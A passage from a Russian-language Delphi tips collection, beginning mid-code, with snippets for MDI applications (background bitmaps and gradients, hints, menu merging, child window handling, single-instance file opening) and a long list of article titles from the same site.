end;
procedure TfrmMain.FormResize(Sender: TObject);
begin
FormPaint(Sender);
end;
procedure TfrmMain.MDIWndProc(var prmMsg: TMessage);
begin
with prmMsg do
begin
if Msg = WM_ERASEBKGND then
begin
if mnuBitmap.Checked then
ShowBitmap(wParam)
else
ShowGradient(wParam, 255, 0, 0);
Result := 1;
end
else
Result := CallWindowProc(MDIDefProc, ClientHandle, Msg, wParam, lParam);
end;
end;
procedure TfrmMain.CreateWnd;
begin
inherited CreateWnd;
MDIInstance := MakeObjectInstance(MDIWndProc); { создаем ObjectInstance }
MDIDefProc := pointer(SetWindowLong(ClientHandle, GWL_WNDPROC,
longint(MDIInstance)));
end;
procedure TfrmMain.FormCloseQuery(Sender: TObject; var CanClose:
Boolean);
begin
{ восстанавоиваем proc окна по умолчанию }
SetWindowLong(ClientHandle, GWL_WNDPROC, longint(MDIDefProc));
{ избавляемся от ObjectInstance }
FreeObjectInstance(MDIInstance);
end;
procedure TfrmMain.mnuExitClick(Sender: TObject);
begin
close;
end;
procedure TfrmMain.mnuBitmapClick(Sender: TObject);
var
wrkDC: hDC;
begin
wrkDC := GetDC(ClientHandle);
ShowBitmap(wrkDC);
ReleaseDC(ClientHandle, wrkDC);
mnuBitmap.Checked := true;
mnuGradient.Checked := false;
end;
procedure TfrmMain.mnuGradientClick(Sender: TObject);
var
wrkDC: hDC;
begin
wrkDC := GetDC(ClientHandle);
ShowGradient(wrkDC, 0, 0, 255);
ReleaseDC(ClientHandle, wrkDC);
mnuGradient.Checked := true;
mnuBitMap.Checked := false;
end;
procedure TfrmMain.ShowBitmap(prmDC: hDC);
var
wrkSource: TRect;
wrkTarget: TRect;
wrkX: integer;
wrkY: integer;
begin
{ заполняем (tile) окно изображением }
if FormStyle = fsNormal then
begin
wrkY := 0;
while wrkY < ClientHeight do { заполняем сверху вниз.. }
begin
wrkX := 0;
while wrkX < ClientWidth do { ..и слева направо. }
begin
Canvas.Draw(wrkX, wrkY, imgTile.Picture.Bitmap);
Inc(wrkX, glbImgWidth);
end;
Inc(wrkY, glbImgHeight);
end;
end
else if FormStyle = fsMDIForm then
begin
Windows.GetClientRect(ClientHandle, wrkTarget);
wrkY := 0;
while wrkY < wrkTarget.Bottom do
begin
wrkX := 0;
while wrkX < wrkTarget.Right do
begin
BitBlt(longint(prmDC), wrkX, wrkY, imgTile.Width, imgTile.Height,
imgTile.Canvas.Handle, 0, 0, SRCCOPY);
Inc(wrkX, glbImgWidth);
end;
Inc(wrkY, glbImgHeight);
end;
end;
end;
procedure TfrmMain.ShowGradient(prmDC: hDC; prmRed, prmGreen, prmBlue: byte);
var
wrkBrushNew: hBrush;
wrkBrushOld: hBrush;
wrkColor: TColor;
wrkCount: integer;
wrkDelta: integer;
wrkRect: TRect;
wrkSize: integer;
wrkY: integer;
begin
{ процедура заполнения градиентной заливкой }
wrkDelta := 255 div (1 + ClientHeight); { желаемое количество оттенков }
if wrkDelta = 0 then
wrkDelta := 1; { да, обычно 1 }
wrkSize := ClientHeight div 240; { размер смешанных баров }
if wrkSize = 0 then
wrkSize := 1;
for wrkY := 0 to 1 + (ClientHeight div wrkSize) do
begin
wrkColor := RGB(prmRed, prmGreen, prmBlue);
wrkRect := Rect(0, wrkY * wrkSize, ClientWidth, (wrkY + 1) * wrkSize);
if FormStyle = fsNormal then
begin
Canvas.Brush.Color := wrkColor;
Canvas.FillRect(wrkRect);
end
else if FormStyle = fsMDIForm then
begin
wrkBrushNew := CreateSolidBrush(wrkColor);
wrkBrushOld := SelectObject(prmDC, wrkBrushNew);
FillRect(prmDC, wrkRect, wrkBrushNew);
SelectObject(prmDC, wrkBrushOld);
DeleteObject(wrkBrushNew);
end;
if prmRed > wrkDelta then
Dec(prmRed, wrkDelta);
if prmGreen > wrkDelta then
Dec(prmGreen, wrkDelta);
if prmBlue > wrkDelta then
Dec(prmBlue, wrkDelta);
end;
end;
procedure TfrmMain.FormPaint(Sender: TObject);
begin
if FormStyle = fsNormal then
if mnuBitMap.Checked then
mnuBitMapClick(Sender)
else
mnuGradientClick(Sender);
end;
end.
|
Задать цвет фона для MDI-формы.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{*******************************************************************************
*
* Hintergrundfarbe eines MDI-Formulars setzen ohne die Farbe der darauf
* liegenden Objekte wie TGroupBox oder TPageControl zu verandern.
*
* Setting the Background color of a MDI Form without changing the color
* of overlayed objects like TGroupBox or TPageControl.
*
******************************************************************************}
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;
type
TForm1 = class(TForm)
private
FClientInstance: TFarProc;
FPrevClientProc: TFarProc;
BkBrush: HBRUSH;
procedure ClientWndProc(var Message: TMessage);
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
end;
implementation
{$R *.dfm}
constructor TForm1.Create(AOwner: TComponent);
begin
inherited;
BkBrush := CreateSolidBrush(clGray);
FClientInstance := Classes.MakeObjectInstance(ClientWndProc);
FPrevClientProc := Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
SetWindowLong(ClientHandle, GWL_WNDPROC, Longint(FClientInstance));
end;
destructor TForm1.Destroy;
begin
DeleteObject(BkBrush);
inherited;
end;
procedure TForm1.ClientWndProc(var Message: TMessage);
var
DC: HDC;
BrushOld: HBRUSH;
begin
with Message do
begin
case Msg of
WM_ERASEBKGND:
begin
DC := TWMEraseBkGnd(Message).DC;
BrushOld := SelectObject(DC, BkBrush);
FillRect(DC, ClientRect, BkBrush);
SelectObject(DC, BrushOld);
Result := 1;
end;
else
Result := CallWindowProc(FPrevClientProc, ClientHandle, Msg, wParam, lParam);
end;
end;
end;
end.
Проблема всплывающих подсказок в дочерних MDI-формах.
Если вам просто нужно отобразить всплывающие подсказки от элементов управления вашей дочерней формы, то сделайте это в вашей главной форме.Объявите следующую процедуру в классе вашей главной формы:
private
{============================================================}
{ Процедура, вызываемая приложением всякий раз, когда }
{ приложение хотело бы показать всплывающую подсказку. }
{ Добавляет хинт на панель статуса. }
{============================================================}
procedure ShowHint(Sender : TObject);
|
Затем в процедуре главной формы .create добавьте следующую строку:
{ Отображает хинт на статусной панели}
Application.OnHint := ShowHint;
|
Теперь приведем код функции ShowHint, принадлежащей главной форме:
{================================================================}
{ Обновляем pnlStatusText.Caption с текстом всплывающей подсказки}
{ элемента управления, над которым находится курсор мыши. }
{================================================================}
procedure
TMainFrame.ShowHint
(
Sender : TObject {Объект, вызывающий данную процедуру}
);
begin
pnlStatusText.Caption := Application.Hint;
end; { TMainFrame.ShowHint }
|
Это должно работать. Вам нужно будет только задать текст подсказок для элементов управления во всех окнах, включая главное. Устанавливая свойство показа хинтов в false или true, вы тем самым указываете способ показа хинтов: обычным способом в виде всплывающих окошек, или совместно с показом в строке состояния.
Меню дочерних MDI-форм.
Так как MDI-приложения всегда объединяют меню дочерних окон с главным меню родительского окна, вы можете установить определенное значение для указания позиции элементов меню в новой, объединенной строке меню. Это называется индексом группы. Но работает оно только для видимых пунктов меню. Так, например, если ваше MDI-меню имеет: [Файл] [Вид] [О программе] (со значениями индексов групп 1 5 10) (Значения не имеют никакого значения (извините за невольный каламбур), они используются только лишь для сортировки), а меню дочерней MDI-формы имеет: [Файл] [Редактирование] (и им присвоены значения 1 и 3), то при открытии дочернего MDI-окна пункт меню [Файл] заменит соответствующий пункт меню родительской MDI-формы. Пункт меню [Редактирование] будет расположен перед пунктами [Вид] и [О программе] родительской формы. Это может оказаться весьма полезным, поскольку меню [Файл] MDI-формы в нормальной ситуации может содержать меньшее количество пунктов меню по сравнению с ситуацией, когда имеется открытая дочерняя MDI-форма. К примеру, в описанной выше ситуации в меню [Файл] MDI-формы необходимы только пункты [Сохранить] или [Закрыть], а в случае отсутствия дочерних окон - [Открыть] и [Новое]. Все описанные выше пункты вы должны ввести в меню дочерней формы, поскольку оно заменит существующий пункт [Файл]. Вы все еще можете использовать код родительской формы в дочерней.Так, если у вас имеется процедура "parent.open1click", вы можете вызывать ее из меню [Файл] дочернего окна после его открытия.
Позиция дочерних MDI-окон.
Автор: Richard Cox Проблема, с котороя я столкнулся, заключается в том, что нижняя часть дочерней формы загораживает панель состояния родительской формы... У меня была аналогичная проблема -- она проявлялась при условии, когда свойство главной формы WindowState устанавливалось на wsMinimized.Вот мое решение: добавьте этот небольшой метод к вашей главной форме:
interface procedure CMShowingChanged(var Message: TMessage); message CM_SHOWINGCHANGED; implementation procedure TMainForm.CMShowingChanged(var Message: TMessage); var theRect: TRect; begin inherited; theRect := GetClientRect; AlignControls(nil, theRect); end; |
Почему MDI Child форма при закрывании просто минимизируется.

Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть.
Сколько открыто дочерних окон.
with Form1 do
for I := 0 to MDIChildCount-1 do
MDIChildren[I].Close;
|
Открытие MDI-окон определенного размера.
var
ProjectWindow: TWndProject;
begin
If ProjectActive=false then
begin
LockWindowUpdate(ClientHandle);
ProjectWindow:=TWndProject.Create(self);
ProjectWindow.Left:=10;
ProjectWindow.Top:=10;
ProjectWindow.Width:=373;
ProjecTwindow.Height:=222;
ProjectWindow.Show;
LockWindowUpdate(0);
end;
end;
|
Используйте LockWindowUpdate перед созданием окна и после того, как создание будет завершено.
Как сделать родительское окно с фоновым рисунком в клиентской области.
Сначала установите свойство формы FormStyle в fsMDIForm. Затем разместите Image на форме и загрузите в него картинку. Найдите { Private Declarations } в обьявлении формы и добаьте следующие строки:
FClientInstance: TFarProc; FPrevClientProc: TFarProc; procedure ClientWndProc(var message: TMessage); |
procedure TMainForm.ClientWndProc(var message: TMessage);
var
Dc: hDC;
Row: Integer;
Col: Integer;
begin
with message do
case Msg of
WM_ERASEBKGND:
begin
Dc := TWMEraseBkGnd(message).Dc;
for Row := 0 to ClientHeight div Image1.Picture.Height do
for Col := 0 to ClientWidth div Image1.Picture.Width do
BitBlt(Dc, Col * Image1.Picture.Width, Row *
Image1.Picture.Height, Image1.Picture.Width,
Image1.Picture.Height, Image1.Picture.Bitmap.Canvas.Handle,
0, 0, SRCCOPY);
Result := 1;
end;
else
Result := CallWindowProc(FPrevClientProc,
ClientHandle, Msg, wParam, lParam);
end;
end;
|
FClientInstance := MakeObjectInstance(ClientWndProc); FPrevClientProc := Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC)); SetWindowLong(ClientHandle, GWL_WNDPROC, LongInt(FClientInstance)); |
Как сделать MDI-приложение, где сливаются меню дочернего и главного окна, и полосы инструментов.
Вариант 1. CoolBar.
procedure TMainForm.SetBands(AControls: array of TWinControl;
ABreaks: array of boolean);
var
i: integer;
begin
with CoolBar do
begin
for i:=0 to High(AControls) do
begin
if Bands.Count=succ(i) then
TCoolBand.Create(Bands);
with Bands[succ(i)] do
begin
if Assigned(Control) then
Control.Hide;
MinHeight:=AControls[i].Height;
Break:=ABreaks[i];
Control:=AControls[i];
Control.Show;
Visible:=true;
end
end;
for i:=High(AControls)+2 to pred(Bands.Count) do
Bands[i].Free
end
end;
|
И.
procedure TMsgForm.FormActivate(Sender: TObject); begin MainForm.SetBands([ToolBar],[false]) end; |
Примечание: Оба массива равны по длине. CoolBar.Bands[0] должен существовать всегда,.. на нём я размешаю "глобальные" кнопки. Соо1Ваг[1] тоже можно сделать в DesignTime с Break:=false и придвинуть поближе с началу. При CoolBar.AutoSize:=true возможно "мигании" (при добавлении на новую строку) так что можно добавить:
AutoSize := false; try ... finally AutoSize := true; |
Вариант 2.
TMainForm
...
object SpeedBar: TPanel
...
Align = alTop
BevelOuter = bvNone
object ToolBar: TPanel
...
Align = alLeft
BevelOuter = bvNone
end
object RxSplitter1: TRxSplitter
...
ControlFirst = ToolBar
ControlSecond = ChildBar
Align = alLeft
BevelOuter = bvLowered
end
object ChildBar: TPanel
...
Align = alClient
BevelOuter = bvNone
end
end
TMdiChild {прородитель всех остальных}
...
object pnToolBar: TPanel
...
Align = alTop
BevelOuter = bvNone
Visible = False
end
procedure TMDIForm.FormActivate(Sender: TObject);
begin
pnToolBar.Parent := MainForm.ChildBar;
pnToolBar.Visible := True;
end;
procedure TMDIForm.FormDeactivate(Sender: TObject);
begin
pnToolBar.Visible := false;
pnToolBar.Parent := self
end;
|
Открытие выбранного файла в работающем приложении.
Автор: Пангин Дмитрий Викторович.
При программировании MDI-приложений возникает следующая задача: Если пользователь кликнул на файле, тип которого поддерживается создаваемым приложением, то, если приложение уже запущено, не нужно запускать новую копию приложения, а нужно открыть выбранный файл в уже работающем приложении. Я сделал это так (возможно есть более красивое решение):
// В файле проекта:
var
i: integer;
hMainForm: hwnd;
copyDataStruct: TCopyDataStruct;
ParamString: string;
WParam, LParam: integer;
begin
// ищем главное окно приложения, вместо Caption - nil,
// поскольку к заголовку главного окна может добавиться заголовок MDIChild
// (нужно позаботиться об уникальности имени класса главной формы)
hMainForm := FindWindow('TMainForm', nil);
if hMainForm = 0 then
begin
Application.Initialize;
Application.CreateForm(TFrmMain, frmMain);
for i := 1 to ParamCount do
TMainForm(Application.MainForm).OpenFile(ParamStr(i));
Application.Run;
end
else
begin
ParamString := '';
for i := 1 to ParamCount do
begin
// запихиваем все параметры в одну строку с разделителями ?13
ParamString := ParamString + ParamStr(i) + #13;
end;
// создаем запись типа TCopyDataStruct
CopyDataStruct.lpData := PChar(ParamString);
CopyDataStruct.cbData := Length(ParamString);
CopyDataStruct.dwData := 0;
WParam := Application.Handle;
LParam := Integer(@CopyDataStruct);
// отсылаем сообщение WM_COPYDATA главному окну открытого приложения
SendMessage(hMainForm, WM_CopyData, WParam, LParam);
Application.Terminate;
end;
end.
// Обработчик сообщения WM_COPYDATA
procedure TMainForm.CopyData(var Msg: TWMCopyData);
var
ParamStr: string;
CopyDataStructure: TCopyDataStruct;
i: integer;
len: integer;
begin
CopyDataStructure := Msg.CopyDataStruct^;
ParamStr := '';
len := CopyDataStructure.cbData;
for i := 0 to len - 1 do
begin
ParamStr := ParamStr + (PChar(CopyDataStructure.lpData) + i)^;
end;
i := 0;
while not (Length(ParamStr) = 0) do
begin
if isDelimiter(#13, ParamStr, i) then
begin
OpenFile(Copy(ParamStr, 0, i - 1));
ParamStr := Copy(ParamStr, i + 1, Length(ParamStr) - i - 1);
end;
inc(i);
end;
inherited;
end;
// проверено, работает.
|
Выбор дочерних MDI-окон с помощью набора закладок TabSet.

По всей видимости, дочерние MDI-окна не отвечают на те же сообщения Windows, которые обрабатываются другими окнами. Ниже приведен способ выбора определенного дочернего MDI-окна таким образом, чтобы оно стало активным. Я читаю значение из компонента TINIFile и активизирую определенное дочернее MDI-окно:
{
Делаем активным дочернее MDI-окно. Мы должны
послать сообщение Windows API, поскольку
дочернее MDI-окно может реагировать только
на "аварийный" набор системных сообщений.
}
i := ReadInteger( 'Main', 'ActiveMDIChild', -1 )
IF (i>=0) AND (i<MDIChildCount) THEN
POSTMESSAGE( Self.Handle, WM_MDIACTIVATE,
MDIChildren[i].Handle, 0 )
|
MDI-формы обрабатываются другим обработчиком по-умолчанию (defMDIProc). Способов сделать это (см. заголовок) существует несколько. Дочерние Mdi-формы являются частью массива с именем (как ни странно) MDIChildren. Вы можете сделать так.....
For i := 0 To Form1.MDIChildCount - 1 Do
begin
If Form1.MDIChildren[i].Caption = 'Это первый!' Then
{Здесь можно активизировать дочернюю MDI-форму
или выполнить какие-либо действия}
end;
|
TForm(TabsSet.Items.Objects[TabSet.TabIndex]).Show; |
Содержание.
- Создание компонентов для KOL и MCK - Часть 3 - Создание визуального KOL компонента.
- Создание компонентов для KOL и MCK - Часть 4 - Создание визуальных MCK объектов.
- Справочник по KOL - Функции работы с датами и временем.
- Урок 1 - Базовые знания о KOL - Наше первое окно.
- Урок 10 - Вывод графики на экран.
- Урок 11 - Работа с потоками.
- Урок 12 - Создание списка файлов.
- Урок 13 - Жизнь и смерть в режиме RunTime на KOL.
- Урок 14 - MCK - RAD технологи для минималистов.
- Урок 15 - Описание свойств TKOLForm.
- Урок 16 - TKOLListView.
- Урок 2 - Наша первая кнопка или основные элементы интерфейса.
- Урок 3 - Чтоб все было опрятно или расположение обьектов на форме.
- Урок 4 - Hello World или Обработка событий в KOL.
- Урок 5 - Стандартные диалоги.
- Урок 6 - Меню - как много в этом слове.
- Урок 7 - Программа в трее с легкостью.
- Урок 8 - Работа с реестром.
- Урок 9 - Работа с INI файлами.
- Справочник по KOL - Вывод сообщений.
- Справочник по KOL - Системные функции.
- Справочник по KOL - Функции преобразования типов.
- Справочник по KOL - Работа со строками.
- Справочник по KOL - Работа с файлами.
- Взаимодействие с системой - Linux API и Qt Library.
- Перехватчики событий, сигналы и слоты.
- Как клонировать процесс.
- Как отловить CLX форму.
- Как отлаживать консольные приложения.
- Обработка событий Qt в Kylix-приложении.
- Kylix - Первые впечатления.
- Программирование Интернет приложений в Borland Kylix.
- Программирование Интернет приложений в Borland Kylix 2.
- Как перехватывать kernel-signals.
- Как сделать mount.
- Как нарисовать повёрнутый текст.
- Как запустить другое приложение.
- Как получить имя текущего пользователя.
- Как использовать ресурсы.
- 3D-рамка для текстовых компонентов.
- Библиотека для работы с LAN.
- Как выяснить дату последнего доступа к файлу.
- Последний день месяца.
- Получить позицию последнего вхождения подстроки в строку.
- Получить позицию последнего вхождения подстроки в строку 2.
- Взять часть URL, которая следует после названия сайта.
- Как отловить изменение раскладки клавиатуры.
- Копирование выделеных строк из Listbox1 в Listbox2.
- Добавить новые строки в TListBox с прокруткой до конца.
- Выравнивание в ListBox.
- Внешние данные и ListBox.
- Быстрая отрисовка BitMap в компоненте TListBox.
- Поиск в списке любого слова или буквы.
- Как показать Hint для частично видимых элементов ListBox.
- Изменение позиций элементов ListBox с помощью Drag and Drop.
- Изменение позиций элементов ListBox с помощью Drag and Drop 2.
- Изменение позиций элементов ListBox с помощью Drag and Drop 3.
- Изменение позиций элементов ListBox с помощью Drag and Drop 2.
- Проверка ситуации Выход За Границы Списка при нажатии правой кнопки на списке.
- Пример OwnerDraw для Listbox.
- Рисование картинок в TListBox.
- Выровнять текст в TListBox вправо.
- Навигация по выбранным элементам в ListBox.
- Колонки разной ширины в TListBox при помощи табулятора.
- Скопировать строки TListBox в буфер обмена.
- Перенос строк из TListBox в TRichEdit.
- Прозрачный TListBox.
- ListBox с графикой.
- Включение табуляторов в Listbox.
- Заполнение строки определенным символом до нужной длины.
- Округление в меньшую сторону.
- Как перевести в 16-ричный код букву.
- Библиотека для создания динамических SQL скриптов.
- Круглая кнопка, кнопка с изменяющимися размерами.
- Лицензирование активных форм и ActiveX.
- Безжизненный рабочий стол.
- Как сделать стандартные цвета в Delphi светлее или темнее.
- Получить осветлённый цвет.
- Границы для перемещения формы в рабочей области.
- Метод Гаусса решения системы линейных уравнений.
- Подсчет количества строк в текстовом файле.
- Количество строк в текстовом файле.
- Компонент Линия.
- Как можно разорвать соединение с интернетом.
- Мастер управления ярлыками.
- Связывание функций.
- Получаем информацию о ярлыке.
- Колонки в TListBox - Вставка символа табуляции.
- Получить список файлов в ListView как в проводнике.
- Поменять местами пункты ListView.
- Пример загрузки файлов в ListView с иконками.
- Перехват изменения размера колонки в TListView.
- Сортировка ListView в режиме vsReport при нажатии на заголовок колонки.
- Прокрутка для TListView или TTreeView.
- Список чисел и объектов с расширенными возможностями бинарного поиска.
- Отобразить все свойства и события компонента.
- Получить экспортируемые из DLL функции.
- Получить список свойств перечисляемого типа и список их значений.
- Получить список событий и их описание.
- Создание списка списков (TStringList).
- Сортировать список по алфавиту.
- Список структуры полей таблицы.
- Получить список типов свойств и их описание.
- Перечислить привилегии пользователя.
- Немного о плагинах.
- Маааленькое PING-приложеньице.
- Реализация Linked List Memory Table.
- Получить список загруженных драйверов под NT.
- Загрузка и анализ документа XML.
- Как узнать загрузку процессора (NT – 2000 - XP).
- Как загрузить адресную книгу.
- Заставить приложение загружать и проигрывать звуковой файл.
- Как загрузить и отмасштабировать JPEGImage в TImage.
- Загрузка Bitmap из .res без потери палитры.
- Как загрузить иконку CD-ROM.
- Работа с ресурсами – загрузка иконки и курсора.
- Загрузка иконки.
- Загрузка изображения или курсора из RES-файла.
- О загрузке дочерней формы (MDIChild) из DLL.
- Загрузить RTF файл из ресурса своего EXE.
- Как загрузить потоковые(stream) данные в WebBrowser не прибегая к открытию файла.
- Загрузка строк из RES-файла.
- Как загрузить строковые данные в WebBrowser не прибегая к открытию файла.
- Загрузка XML в объект.
- Как локализовать (русифицировать) ресурсы какого-либо пакета (runtime package).
- Локальный общий доступ.
- Локальные операторы языка SQL.
- Local SQL и временная таблица.
- Путь к локальной таблице.
- Функция Locate.
- Поиск по нескольким полям.
- Проблема Lock File Has Grown Too Large.
- Как заблокировать компьютер.
- Фильтр посредством логического поля.
- Автоматический logon к локальной InterBase.
- Ведение log файлов.
- Ограничение log-файла по количеству строк.
- Сиротские Master-записи.
- Процедуры передачи и приема длинных блоков данных, с учетом фрагментации и возможной слепки пакетов, на компоненты TServerSocket и TClientSocket.
- Процедуры передачи и приема блоков данных, с учетом фрагментации и склейки пакетов, построено на TServerSocket и TClientSocket.
- Писать длинные подсказки на StatusBare.
- Как преобразовать длинный IP адрес в короткий адрес-порт.
- Очень длинные меню.
- Определить нажатие клавиши во время выполнения цикла.
- Потеря памяти.
- Object Inspector. Потеря обработчиков событий компонентов фрейма.
- Как уменьшить дату в Paradox.
- Низкоуровневые процедуры обработки звука.
- LStrings.
- Удаление пробелов в начале строки.
- Добавление записей в TStrings, TTreeView или TListView.
- Отображать элементы TListView как группу XP.
- Чередование фона строк в TListView.
- Определить нажатие на CheckBoxe TListView.
- Цветные строки для TListView.
- Определить, по какой колонке в TListView был произведен щелчок.
- Сортировать TListView, используя нужный метод.
- Ускорить удаление элементов из TListView.
- Обмен значениями элементов TListView.
- Предотвратить изменение ширины колонки для TListView.
- Создать TListView, который автоматически пересортирует при щелчке на заголовке колонки.
- Сохранить TListView как HTML страницу.
- Экспорт TListView в TStringGrid.
- Сохранение данных из TListView в XLS.
- Предотвратить появление ошибки при использовании TListView в режиме отчета под манифестом XP.
- XP Themes - Ошибка kernel32 при отображении ListView.
- Получить все выделенные элементы TListView.
- Двоичный поиск для TListView.
- Добавить событие по двойному щелчку на заголовке TListView.
- Переместить элемент в TListView.
- Макро-процедуры.
- Реализация Wake для сети – Волшебный Пакет.
- Пример работы с MailSlot.
- Как отправить Email, используя почтовую программу по умолчанию.
- Получить имена установленных почтовых клиентов.
- Отправить Email с вложением для Outlook Express.
- Получить дескриптор главного окна оболочки.
- Hook для главной формы приложения.
- Как сделать ADO-connection.
- Создание каталога.
- Как сделать DLL.
- Написание простейшего эксперта.
- Создание шрифта.
- Создание ярлыка для конкретного файла.
- Создание ярлыка для конкретного файла 2.
- Управление размером сегмента данных.
- Ручное масштабирование формы.
- Заставить динамик пикнуть несколько раз с задержкой между сигналами, не зависящей от частоты процессора.
- Множество модулей данных – одно соединение.
- Два и более обработчика события.
- Хранение нескольких различных файлов в одном исполняемом.
- Как прочитать весь файл, в котором несколько признаков конца файла.
- Подсветить кнопку программы на панели задач несколько раз.
- Несколько методов, обрабатывающих одно сообщение.
- Программа запускается только нужное количество раз.
- Сохранить несколько потоков в сжатый зашифрованный файл.
- Несколько таблиц в одном TDBGrid.
- Несколько таблиц в одном TDBGrid 2.
- MAPI и MS Exchange.
- Отослать письмо с аттачем через MAPI.
- Изменить режим координат.
- Отобразить строку специфической записи.
- Мраморное окно.
- Исследование Marriage for windows v2.3 по-русски.
- Как узнать пароли игроков в Marriage For Windows v 2.3.
- Исследование Masker v2.3.
- Поиск слов по маске.
- Создаем диалог-мастер.
- Устройство мастера.
- Компонент MathParser.
- Компилятор математических выражений.
- Использование многомерных массивов в процедурах и функциях из модуля Math.
- Преобразование строки в математическое выражение и получение результата.
- Математика времени.
- Описание функций модуля Math.
- Модуль реализации матричных вычислений для массивов больших размеров.
- Матрицы в Delphi.
- Как заменить строку в матрице.
- Как создать Delphi приложение, которое могло бы увеличивать часть рабочего стола наподобие лупы.
- Как развернуть форму на весь экран, как в играх.
- Как качественно увеличить изображение при помощи билинейной интерполяции.
- Обработка запроса на максимальное раскрытие окна.
- Вычисление хеш-суммы MD5.
- Разработка MDI приложений в Delphi.
- Фон MDI-окон.
- Задать цвет фона для MDI-формы.
- Проблема всплывающих подсказок в дочерних MDI-формах.
- Меню дочерних MDI-форм.
- Позиция дочерних MDI-окон.
- Почему MDI Child форма при закрывании просто минимизируется.
- Сколько открыто дочерних окон.
- Открытие MDI-окон определенного размера.
- Как сделать родительское окно с фоновым рисунком в клиентской области.
- Как сделать MDI-приложение, где сливаются меню дочернего и главного окна, и полосы инструментов.
- Открытие выбранного файла в работающем приложении.
- Выбор дочерних MDI-окон с помощью набора закладок TabSet.